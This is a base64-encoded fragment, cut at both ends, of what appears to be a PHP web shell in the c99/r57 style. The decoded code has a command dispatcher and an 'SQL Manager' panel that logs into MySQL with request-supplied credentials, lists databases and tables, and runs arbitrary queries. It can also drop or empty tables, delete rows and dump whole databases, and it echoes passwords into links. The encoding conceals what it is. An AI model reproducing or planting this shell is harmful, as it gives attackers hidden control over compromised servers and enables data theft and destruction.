IiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVl
PSJHbyI+CjwvZm9ybT4KPC9kaXY+CjwvdGQ+PC90cj48L3RhYmxlPgo8P3BocAplY2hvICI8dGFi
bGUgaWQ9bWFpbmluZm8+PHRyPjx0ZCB3aWR0aD1cIjEwMCVcIj5cbiI7CmlmICgkeCA9PSAiIikg
eyAkeCA9ICRkc3BhY3QgPSAibHMiOyB9CmlmICgkeCA9PSAicGhwaW5pIiApIHsgZ2V0X3BocGlu
aSgpOyB9CmlmICgkeCA9PSAic3FsIikgewogICRzcWxfc3VybCA9ICRzdXJsLiJ4PXNxbCI7CiAg
aWYgKCRzcWxfbG9naW4pICB7JHNxbF9zdXJsIC49ICImc3FsX2xvZ2luPSIuaHRtbHNwZWNpYWxj
aGFycygkc3FsX2xvZ2luKTt9CiAgaWYgKCRzcWxfcGFzc3dkKSB7JHNxbF9zdXJsIC49ICImc3Fs
X3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpO30KICBpZiAoJHNxbF9zZXJ2
ZXIpIHskc3FsX3N1cmwgLj0gIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Nl
cnZlcik7fQogIGlmICgkc3FsX3BvcnQpICAgeyRzcWxfc3VybCAuPSAiJnNxbF9wb3J0PSIuaHRt
bHNwZWNpYWxjaGFycygkc3FsX3BvcnQpO30KICBpZiAoJHNxbF9kYikgICAgIHskc3FsX3N1cmwg
Lj0gIiZzcWxfZGI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpO30KICAkc3FsX3N1cmwgLj0g
IiYiOwogIGVjaG8gIjx0YWJsZT4iLgogICAgICAgIjx0cj48dGQgd2lkdGg9XCIxMDAlXCIgY29s
c3Bhbj0yIGNsYXNzPWJhcmhlYWRlcj4iOwogIGlmICgkc3FsX3NlcnZlcikgewogICAgJHNxbF9z
b2NrID0gbXlzcWxfY29ubmVjdCgkc3FsX3NlcnZlci4iOiIuJHNxbF9wb3J0LCAkc3FsX2xvZ2lu
LCAkc3FsX3Bhc3N3ZCk7CiAgICAkZXJyID0gbXlzcWxfc21hcnRlcnJvcigpOwogICAgQG15c3Fs
X3NlbGVjdF9kYigkc3FsX2RiLCRzcWxfc29jayk7CiAgICBpZiAoJHNxbF9xdWVyeSBhbmQgJHN1
Ym1pdCkgeyRzcWxfcXVlcnlfcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHNxbF9xdWVyeSwkc3FsX3Nv
Y2spOyAkc3FsX3F1ZXJ5X2Vycm9yID0gbXlzcWxfc21hcnRlcnJvcigpO30KICB9CiAgZWxzZSB7
JHNxbF9zb2NrID0gRkFMU0U7fQogIGVjaG8gIi46IFNRTCBNYW5hZ2VyIDouPGJyPiI7CiAgaWYg
KCEkc3FsX3NvY2spIHsKICAgIGlmICghJHNxbF9zZXJ2ZXIpIHtlY2hvICJOTyBDT05ORUNUSU9O
Ijt9CiAgICBlbHNlIHtlY2hvICJDYW4ndCBjb25uZWN0ISAiLiRlcnI7fQogIH0KICBlbHNlIHsK
ICAgICRzcWxxdWlja2xhdW5jaCA9IGFycmF5KCk7CiAgICAkc3FscXVpY2tsYXVuY2hbXSA9IGFy
cmF5KCJJbmRleCIsJHN1cmwuIng9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNx
bF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZz
cWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0
bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJiIpOwogICAgJHNxbHF1aWNrbGF1bmNoW10gPSBh
cnJheSgiUXVlcnkiLCRzcWxfc3VybC4ic3FsX3g9cXVlcnkmc3FsX3RibD0iLnVybGVuY29kZSgk
c3FsX3RibCkpOwogICAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiU2VydmVyLXN0YXR1cyIs
JHN1cmwuIng9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZz
cWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIu
aHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hh
cnMoJHNxbF9wb3J0KS4iJnNxbF94PXNlcnZlcnN0YXR1cyIpOwogICAgJHNxbHF1aWNrbGF1bmNo
W10gPSBhcnJheSgiU2VydmVyIHZhcmlhYmxlcyIsJHN1cmwuIng9c3FsJnNxbF9sb2dpbj0iLmh0
bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFy
cygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZl
cikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJnNxbF94PXNlcnZl
cnZhcnMiKTsKICAgICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIlByb2Nlc3NlcyIsJHN1cmwu
Ing9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFz
c3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNw
ZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNx
bF9wb3J0KS4iJnNxbF94PXByb2Nlc3NlcyIpOwogICAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJh
eSgiTG9nb3V0Iiwkc3VybC4ieD1zcWwiKTsKICAgIGVjaG8gIk15U1FMICIubXlzcWxfZ2V0X3Nl
cnZlcl9pbmZvKCkuIiAocHJvdG8gdi4iLm15c3FsX2dldF9wcm90b19pbmZvICgpLiIpIHJ1bm5p
bmcgaW4gIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iOiIuaHRtbHNwZWNpYWxjaGFy
cygkc3FsX3BvcnQpLiIgYXMgIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiJAIi5odG1s
c3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iIChwYXNzd29yZCAtIFwiIi5odG1sc3BlY2lhbGNo
YXJzKCRzcWxfcGFzc3dkKS4iXCIpPGJyPiI7CiAgICBpZiAoY291bnQoJHNxbHF1aWNrbGF1bmNo
KSA+IDApIHtmb3JlYWNoKCRzcWxxdWlja2xhdW5jaCBhcyAkaXRlbSkge2VjaG8gIlsgPGEgaHJl
Zj1cIiIuJGl0ZW1bMV0uIlwiPiIuJGl0ZW1bMF0uIjwvYT4gXSAiO319CiAgfQogIGVjaG8gIjwv
dGQ+PC90cj48dHI+IjsKICBpZiAoISRzcWxfc29jaykgewogICAgZWNobyAiPHRkIHdpZHRoPVwi
MjglXCIgaGVpZ2h0PVwiMTAwXCIgdmFsaWduPVwidG9wXCI+PGxpPklmIGxvZ2luIGlzIG51bGws
IGxvZ2luIGlzIG93bmVyIG9mIHByb2Nlc3MuPGxpPklmIGhvc3QgaXMgbnVsbCwgaG9zdCBpcyBs
b2NhbGhvc3Q8L2I+PGxpPklmIHBvcnQgaXMgbnVsbCwgcG9ydCBpcyAzMzA2IChkZWZhdWx0KTwv
dGQ+PHRkIHdpZHRoPVwiOTAlXCIgaGVpZ2h0PTEgdmFsaWduPVwidG9wXCI+IjsKICAgIGVjaG8g
Ijx0YWJsZSB3aWR0aD1cIjEwMCVcIiBib3JkZXI9MD48dHI+PHRkPjxiPlBsZWFzZSwgZmlsbCB0
aGUgZm9ybTo8L2I+PHRhYmxlPjx0cj48dGQ+PGI+VXNlcm5hbWU8L2I+PC90ZD48dGQ+PGI+UGFz
c3dvcmQ8L2I+PC90ZD48dGQ+PGI+RGF0YWJhc2U8L2I+PC90ZD48L3RyPjxmb3JtIGFjdGlvbj1c
IiAkc3VybCBcIiBtZXRob2Q9XCJQT1NUXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwi
eFwiIHZhbHVlPVwic3FsXCI+PHRyPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3Fs
X2xvZ2luXCIgdmFsdWU9XCJyb290XCIgbWF4bGVuZ3RoPVwiNjRcIj48L3RkPjx0ZD48aW5wdXQg
dHlwZT1cInBhc3N3b3JkXCIgbmFtZT1cInNxbF9wYXNzd2RcIiB2YWx1ZT1cIlwiIG1heGxlbmd0
aD1cIjY0XCI+PC90ZD48dGQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF9kYlwiIHZh
bHVlPVwiXCIgbWF4bGVuZ3RoPVwiNjRcIj48L3RkPjwvdHI+PHRyPjx0ZD48Yj5Ib3N0PC9iPjwv
dGQ+PHRkPjxiPlBPUlQ8L2I+PC90ZD48L3RyPjx0cj48dGQgYWxpZ249cmlnaHQ+PGlucHV0IHR5
cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF9zZXJ2ZXJcIiB2YWx1ZT1cImxvY2FsaG9zdFwiIG1heGxl
bmd0aD1cIjY0XCI+PC90ZD48dGQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF9wb3J0
XCIgdmFsdWU9XCIzMzA2XCIgbWF4bGVuZ3RoPVwiNlwiIHNpemU9XCIzXCI+PC90ZD48dGQ+PGlu
cHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIkNvbm5lY3RcIj48L3RkPjwvdHI+PHRyPjx0ZD48
L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+PC90ZD4iOwogIH0KICBlbHNlIHsKICAgIGlmICghZW1w
dHkoJHNxbF9kYikpIHsKICAgICAgPz48dGQgd2lkdGg9IjI1JSIgaGVpZ2h0PSIxMDAlIiB2YWxp
Z249InRvcCI+PGEgaHJlZj0iPD9waHAgZWNobyAkc3VybC4ieD1zcWwmc3FsX2xvZ2luPSIuaHRt
bHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJnNxbF9wYXNzd2Q9Ii5odG1sc3BlY2lhbGNoYXJz
KCRzcWxfcGFzc3dkKS4iJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVy
KS4iJnNxbF9wb3J0PSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiImIjsgPz4iPjxiPkhv
bWU8L2I+PC9hPjxociBzaXplPSIxIiBub3NoYWRlPgogICAgICA8P3BocAogICAgICAkcmVzdWx0
ID0gbXlzcWxfbGlzdF90YWJsZXMoJHNxbF9kYik7CiAgICAgIGlmICghJHJlc3VsdCkge2VjaG8g
bXlzcWxfc21hcnRlcnJvcigpO30KICAgICAgZWxzZSB7CiAgICAgICAgZWNobyAiLS0tWyA8YSBo
cmVmPVwiIi4kc3FsX3N1cmwuIiZcIj48Yj4iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIjwv
Yj48L2E+IF0tLS08YnI+IjsKICAgICAgICAkYyA9IDA7CiAgICAgICAgd2hpbGUgKCRyb3cgPSBt
eXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgeyRjb3VudCA9IG15c3FsX3F1ZXJ5ICgiU0VMRUNU
IENPVU5UKCopIEZST00gIi4kcm93WzBdKTsgJGNvdW50X3JvdyA9IG15c3FsX2ZldGNoX2FycmF5
KCRjb3VudCk7IGVjaG8gIjxiPismbmJzcDs8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF9kYj0i
Lmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIiZzcWxfdGJsPSIuaHRtbHNwZWNpYWxjaGFycygk
cm93WzBdKS4iXCI+PGI+Ii5odG1sc3BlY2lhbGNoYXJzKCRyb3dbMF0pLiI8L2I+PC9hPiAoIi4k
Y291bnRfcm93WzBdLiIpPC9icj48L2I+IjsgbXlzcWxfZnJlZV9yZXN1bHQoJGNvdW50KTsgJGMr
Kzt9CiAgICAgICAgaWYgKCEkYykge2VjaG8gIk5vIHRhYmxlcyBmb3VuZCBpbiBkYXRhYmFzZS4i
O30KICAgICAgfQogICAgfQogICAgZWxzZSB7CiAgICAgID8+PHRkIHdpZHRoPSIxIiBoZWlnaHQ9
IjEwMCIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHNxbF9zdXJsOyA/PiI+PGI+
SG9tZTwvYj48L2E+PGhyIHNpemU9IjEiIG5vc2hhZGU+CiAgICAgIDw/cGhwCiAgICAgICRyZXN1
bHQgPSBteXNxbF9saXN0X2Ricygkc3FsX3NvY2spOwogICAgICBpZiAoISRyZXN1bHQpIHtlY2hv
IG15c3FsX3NtYXJ0ZXJyb3IoKTt9CiAgICAgIGVsc2UgewogICAgICAgID8+PGZvcm0gYWN0aW9u
PSI8P3BocCBlY2hvICRzdXJsOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieCIgdmFs
dWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iPD9w
aHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+PGlucHV0IHR5cGU9Imhp
ZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFy
cygkc3FsX3Bhc3N3ZCk7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfc2VydmVy
IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4iPjxp
bnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAgZWNobyBodG1s
c3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+Ij48c2VsZWN0IG5hbWU9InNxbF9kYiI+CiAgICAg
ICAgPD9waHAKICAgICAgICAkYyA9IDA7CiAgICAgICAgJGRicyA9ICIiOwogICAgICAgIHdoaWxl
ICgkcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXN1bHQpKSB7JGRicyAuPSAiPG9wdGlvbiB2YWx1
ZT1cIiIuJHJvd1swXS4iXCIiOyBpZiAoJHNxbF9kYiA9PSAkcm93WzBdKSB7JGRicyAuPSAiIHNl
bGVjdGVkIjt9ICRkYnMgLj0gIj4iLiRyb3dbMF0uIjwvb3B0aW9uPiI7ICRjKys7fQogICAgICAg
IGVjaG8gIjxvcHRpb24gdmFsdWU9XCJcIj5EYXRhYmFzZXMgKCIuJGMuIik8L29wdGlvbj4iOwog
ICAgICAgIGVjaG8gJGRiczsKICAgICAgfQogICAgICA/Pjwvc2VsZWN0PjxociBzaXplPSIxIiBu
b3NoYWRlPlBsZWFzZSwgc2VsZWN0IGRhdGFiYXNlPGhyIHNpemU9IjEiIG5vc2hhZGU+PGlucHV0
IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvIj48L2Zvcm0+CiAgICAgIDw/cGhwCiAgICB9CiAgICBl
Y2hvICI8L3RkPjx0ZCB3aWR0aD1cIjEwMCVcIj4iOwogICAgJGRpcGxheSA9IFRSVUU7CiAgICBp
ZiAoJHNxbF9kYikgewogICAgICBpZiAoIWlzX251bWVyaWMoJGMpKSB7JGMgPSAwO30KICAgICAg
aWYgKCRjID09IDApIHskYyA9ICJubyI7fQogICAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3No
YWRlPjxjZW50ZXI+PGI+VGhlcmUgYXJlICIuJGMuIiB0YWJsZShzKSBpbiB0aGlzIERCICgiLmh0
bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIikuPGJyPiI7CiAgICAgIGlmIChjb3VudCgkZGJxdWlj
a2xhdW5jaCkgPiAwKSB7Zm9yZWFjaCgkZGJzcWxxdWlja2xhdW5jaCBhcyAkaXRlbSkge2VjaG8g
IlsgPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPiIuJGl0ZW1bMF0uIjwvYT4gXSAiO319CiAgICAg
IGVjaG8gIjwvYj48L2NlbnRlcj4iOwogICAgICAkYWN0cyA9IGFycmF5KCIiLCJkdW1wIik7CiAg
ICAgIGlmICgkc3FsX3ggPT0gInRibGRyb3AiKSB7JHNxbF9xdWVyeSA9ICJEUk9QIFRBQkxFIjsg
Zm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRz
cWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfeCA9ICJxdWVyeSI7
fQogICAgICBlbHNlaWYgKCRzcWxfeCA9PSAidGJsZW1wdHkiKSB7JHNxbF9xdWVyeSA9ICIiOyBm
b3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJERUxFVEUgRlJPTSBgIi4kdi4i
YCBcbiI7fSAkc3FsX3ggPSAicXVlcnkiO30KICAgICAgZWxzZWlmICgkc3FsX3ggPT0gInRibGR1
bXAiKSB7aWYgKGNvdW50KCRib3h0YmwpID4gMCkgeyRkbXB0YmxzID0gJGJveHRibDt9IGVsc2Vp
ZigkdGhpc3RibCkgeyRkbXB0YmxzID0gYXJyYXkoJHNxbF90YmwpO30gJHNxbF94ID0gImR1bXAi
O30KICAgICAgZWxzZWlmICgkc3FsX3ggPT0gInRibGNoZWNrIikgeyRzcWxfcXVlcnkgPSAiQ0hF
Q0sgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2
LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF94
ID0gInF1ZXJ5Ijt9CiAgICAgIGVsc2VpZiAoJHNxbF94ID09ICJ0YmxvcHRpbWl6ZSIpIHskc3Fs
X3F1ZXJ5ID0gIk9QVElNSVpFIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9x
dWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSww
LC0xKS4iOyI7ICRzcWxfeCA9ICJxdWVyeSI7fQogICAgICBlbHNlaWYgKCRzcWxfeCA9PSAidGJs
cmVwYWlyIikgeyRzcWxfcXVlcnkgPSAiUkVQQUlSIFRBQkxFIjsgZm9yZWFjaCgkYm94dGJsIGFz
ICR2KSB7JHNxbF9xdWVyeSAuPSAiXG5gIi4kdi4iYCAsIjt9ICRzcWxfcXVlcnkgPSBzdWJzdHIo
JHNxbF9xdWVyeSwwLC0xKS4iOyI7ICRzcWxfeCA9ICJxdWVyeSI7fQogICAgICBlbHNlaWYgKCRz
cWxfeCA9PSAidGJsYW5hbHl6ZSIpIHskc3FsX3F1ZXJ5ID0gIkFOQUxZWkUgVEFCTEUiOyBmb3Jl
YWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9x
dWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF94ID0gInF1ZXJ5Ijt9CiAg
ICAgIGVsc2VpZiAoJHNxbF94ID09ICJkZWxldGVyb3ciKSB7JHNxbF9xdWVyeSA9ICIiOyBpZiAo
IWVtcHR5KCRib3hyb3dfYWxsKSkgeyRzcWxfcXVlcnkgPSAiREVMRVRFICogRlJPTSBgIi4kc3Fs
X3RibC4iYDsiO30gZWxzZSB7Zm9yZWFjaCgkYm94cm93IGFzICR2KSB7JHNxbF9xdWVyeSAuPSAi
REVMRVRFICogRlJPTSBgIi4kc3FsX3RibC4iYCBXSEVSRSIuJHYuIiBMSU1JVCAxO1xuIjt9ICRz
cWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwwLC0xKTt9ICRzcWxfeCA9ICJxdWVyeSI7fQog
ICAgICBlbHNlaWYgKCRzcWxfdGJsX3ggPT0gImluc2VydCIpIHsKICAgICAgICBpZiAoJHNxbF90
YmxfaW5zZXJ0X3JhZGlvID09IDEpIHsKICAgICAgICAgICRrZXlzID0gIiI7CiAgICAgICAgICAk
YWtleXMgPSBhcnJheV9rZXlzKCRzcWxfdGJsX2luc2VydCk7CiAgICAgICAgICBmb3JlYWNoICgk
YWtleXMgYXMgJHYpIHska2V5cyAuPSAiYCIuYWRkc2xhc2hlcygkdikuImAsICI7fQogICAgICAg
ICAgaWYgKCFlbXB0eSgka2V5cykpIHska2V5cyA9IHN1YnN0cigka2V5cywwLHN0cmxlbigka2V5
cyktMik7fQogICAgICAgICAgJHZhbHVlcyA9ICIiOwogICAgICAgICAgJGkgPSAwOwogICAgICAg
ICAgZm9yZWFjaCAoYXJyYXlfdmFsdWVzKCRzcWxfdGJsX2luc2VydCkgYXMgJHYpIHtpZiAoJGZ1
bmN0ID0gJHNxbF90YmxfaW5zZXJ0X2Z1bmN0c1skYWtleXNbJGldXSkgeyR2YWx1ZXMgLj0gJGZ1
bmN0LiIgKCI7fSAkdmFsdWVzIC49ICInIi5hZGRzbGFzaGVzKCR2KS4iJyI7IGlmICgkZnVuY3Qp
IHskdmFsdWVzIC49ICIpIjt9ICR2YWx1ZXMgLj0gIiwgIjsgJGkrKzt9CiAgICAgICAgICBpZiAo
IWVtcHR5KCR2YWx1ZXMpKSB7JHZhbHVlcyA9IHN1YnN0cigkdmFsdWVzLDAsc3RybGVuKCR2YWx1
ZXMpLTIpO30KICAgICAgICAgICRzcWxfcXVlcnkgPSAiSU5TRVJUIElOVE8gYCIuJHNxbF90Ymwu
ImAgKCAiLiRrZXlzLiIgKSBWQUxVRVMgKCAiLiR2YWx1ZXMuIiApOyI7CiAgICAgICAgICAkc3Fs
X3ggPSAicXVlcnkiOwogICAgICAgICAgJHNxbF90YmxfeCA9ICJicm93c2UiOwogICAgICAgIH0K
ICAgICAgICBlbHNlaWYgKCRzcWxfdGJsX2luc2VydF9yYWRpbyA9PSAyKSB7CiAgICAgICAgICAk
c2V0ID0gbXlzcWxfYnVpbGR3aGVyZSgkc3FsX3RibF9pbnNlcnQsIiwgIiwkc3FsX3RibF9pbnNl
cnRfZnVuY3RzKTsKICAgICAgICAgICRzcWxfcXVlcnkgPSAiVVBEQVRFIGAiLiRzcWxfdGJsLiJg
IFNFVCAiLiRzZXQuIiBXSEVSRSAiLiRzcWxfdGJsX2luc2VydF9xLiIgTElNSVQgMTsiOwogICAg
ICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRzcWxfcXVlcnkpIG9yIHByaW50KG15c3FsX3Nt
YXJ0ZXJyb3IoKSk7CiAgICAgICAgICAkcmVzdWx0ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3Vs
dCwgTVlTUUxfQVNTT0MpOwogICAgICAgICAgJHNxbF94ID0gInF1ZXJ5IjsKICAgICAgICAgICRz
cWxfdGJsX3ggPSAiYnJvd3NlIjsKICAgICAgICB9CiAgICAgIH0KICAgICAgaWYgKCRzcWxfeCA9
PSAicXVlcnkiKSB7CiAgICAgICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOwogICAg
ICAgIGlmICgoJHN1Ym1pdCkgYW5kICghJHNxbF9xdWVyeV9yZXN1bHQpIGFuZCAoJHNxbF9jb25m
aXJtKSkge2lmICghJHNxbF9xdWVyeV9lcnJvcikgeyRzcWxfcXVlcnlfZXJyb3IgPSAiUXVlcnkg
d2FzIGVtcHR5Ijt9IGVjaG8gIjxiPkVycm9yOjwvYj4gPGJyPiIuJHNxbF9xdWVyeV9lcnJvci4i
PGJyPiI7fQogICAgICAgIGlmICgkc3FsX3F1ZXJ5X3Jlc3VsdCBvciAoISRzcWxfY29uZmlybSkp
IHskc3FsX3ggPSAkc3FsX2dvdG87fQogICAgICAgIGlmICgoISRzdWJtaXQpIG9yICgkc3FsX3gp
KSB7ZWNobyAiPHRhYmxlIGJvcmRlcj1cIjBcIiB3aWR0aD1cIjEwMCVcIiBoZWlnaHQ9XCIxXCI+
PHRyPjx0ZD48Zm9ybSBhY3Rpb249XCIiLiRzcWxfc3VybC4iXCIgbWV0aG9kPVwiUE9TVFwiPjxi
PiI7IGlmICgoJHNxbF9xdWVyeSkgYW5kICghJHN1Ym1pdCkpIHtlY2hvICJEbyB5b3UgcmVhbGx5
IHdhbnQgdG86Ijt9IGVsc2Uge2VjaG8gIlNRTC1RdWVyeSA6Ijt9IGVjaG8gIjwvYj48YnI+PGJy
Pjx0ZXh0YXJlYSBuYW1lPVwic3FsX3F1ZXJ5XCIgY29scz1cIjEwMFwiIHJvd3M9XCIxMFwiPiIu
aHRtbHNwZWNpYWxjaGFycygkc3FsX3F1ZXJ5KS4iPC90ZXh0YXJlYT48YnI+PGJyPjxpbnB1dCB0
eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF94XCIgdmFsdWU9XCJxdWVyeVwiPjxpbnB1dCB0eXBl
PVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygk
c3FsX3RibCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVl
PVwiMVwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9nb3RvXCIgdmFsdWU9XCIi
Lmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9nb3RvKS4iXCI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBu
YW1lPVwic3FsX2NvbmZpcm1cIiB2YWx1ZT1cIlllc1wiPiA8aW5wdXQgdHlwZT1cInN1Ym1pdFwi
IHZhbHVlPVwiTm9cIj48L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+Ijt9CiAgICAgIH0KICAgICAg
aWYgKGluX2FycmF5KCRzcWxfeCwkYWN0cykpIHsKICAgICAgICA/Pjx0YWJsZSBib3JkZXI9IjAi
IHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEiPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48
Yj5DcmVhdGUgbmV3IHRhYmxlOjwvYj4KICAgICAgICA8Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8g
JHN1cmw7ID8+Ij4KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ4IiB2YWx1ZT0i
c3FsIj4KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfeCIgdmFsdWU9Im5l
d3RibCI+CiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2RiIiB2YWx1ZT0i
PD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpOyA/PiI+CiAgICAgICAgPGlucHV0
IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3Bl
Y2lhbGNoYXJzKCRzcWxfbG9naW4pOyA/PiI+CiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIg
bmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3Fs
X3Bhc3N3ZCk7ID8+Ij4KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfc2Vy
dmVyIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4i
PgogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iPD9w
aHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+Ij4KICAgICAgICA8aW5wdXQg
dHlwZT0idGV4dCIgbmFtZT0ic3FsX25ld3RibCIgc2l6ZT0iMjAiPgogICAgICAgIDxpbnB1dCB0
eXBlPSJzdWJtaXQiIHZhbHVlPSJDcmVhdGUiPgogICAgICAgIDwvZm9ybT48L3RkPgogICAgICAg
IDx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjxiPkR1bXAgREI6PC9iPgogICAgICAgIDxmb3Jt
IGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPgogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRk
ZW4iIG5hbWU9IngiIHZhbHVlPSJzcWwiPgogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5h
bWU9InNxbF94IiB2YWx1ZT0iZHVtcCI+CiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFt
